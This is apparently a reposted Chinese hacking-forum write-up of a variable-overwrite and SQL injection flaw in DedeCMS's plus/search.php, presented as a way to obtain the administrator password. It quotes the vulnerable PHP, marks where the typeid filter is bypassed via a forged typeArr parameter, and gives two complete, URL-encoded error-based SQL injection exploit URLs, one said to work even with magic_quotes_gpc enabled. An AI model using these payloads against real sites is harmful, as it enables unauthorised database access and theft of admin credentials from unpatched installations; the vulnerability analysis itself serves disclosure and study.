微博上看到就分析了一下,这个
漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
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Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
- require_once(dirname(__FILE__).”/../include/common.inc.php”);
- require_once(DEDEINC.”/arc.searchview.class.php”);
-
- $pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
- $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
- $channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
- $kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
- $mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
-
- if(!isset($orderby)) $orderby=”;
- else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
-
-
- if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
-
- if(!isset($keyword)){
- if(!isset($q)) $q = ”;
- $keyword=$q;
- }
-
- $oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
-
- //查找栏目信息
- if(empty($typeid))
- {
- $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
- if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
- {
- $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
- fwrite($fp, “<”.”?php\r\n”);
- $dsql->SetQuery(“Select id,typename,channeltype From `detest_arctype`”);
- $dsql->Execute();
- while($row = $dsql->GetArray())
- {
- fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
- }
- fwrite($fp, ‘?’.'>’);
- fclose($fp);
- }
- //引入栏目缓存并看关键字是否有相关栏目内容
- require_once($typenameCacheFile);
- //$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
- //
- if(isset($typeArr) && is_array($typeArr))
- {
- foreach($typeArr as $id=>$typename)
- {
-
- <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
- if($keyword != $keywordn)
- {
- $keyword = $keywordn;
- <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
- break;
- }
- }
- }
- }
然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$this->TypeLink = new TypeLink($typeid);
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
- class TypeLink
- {
- var $typeDir;
- var $dsql;
- var $TypeID;
- var $baseDir;
- var $modDir;
- var $indexUrl;
- var $indexName;
- var $TypeInfos;
- var $SplitSymbol;
- var $valuePosition;
- var $valuePositionName;
- var $OptionArrayList;
-
- //构造函数///////
- //php5构造函数
- function __construct($typeid)
- {
- $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
- $this->indexName = $GLOBALS['cfg_indexname'];
- $this->baseDir = $GLOBALS['cfg_basedir'];
- $this->modDir = $GLOBALS['cfg_templets_dir'];
- $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
- $this->dsql = $GLOBALS['dsql'];
- $this->TypeID = $typeid;
- $this->valuePosition = ”;
- $this->valuePositionName = ”;
- $this->typeDir = ”;
- $this->OptionArrayList = ”;
-
- //载入类目信息
-
- <font color=”Red”>$query = “SELECT tp.*,ch.typename as
- ctypename,ch.addtable,ch.issystem FROM `detest_arctype` tp left join
- `detest_channeltype` ch
- on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
-
- if($typeid > 0)
- {
- $this->TypeInfos = $this->dsql->GetOne($query);
利用代码一 需要 即使magic_quotes_gpc = Off
http://www.2cto.com /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
这只是其中一个利用代码… Search 类的构造函数再往下
- ……省略
- $this->TypeID = $typeid;
- ……省略
- if($this->TypeID==”0″){
- $this->ChannelTypeid=1;
- }else{
- $row =$this->dsql->GetOne(“SELECT channeltype FROM `detest_arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
- //现在不鸡肋了吧亲…
- $this->ChannelTypeid=$row['channeltype'];
-
- }
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
http://www.2cto.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
原文:www.hackme.info/forum.php?mod=viewthread&tid=30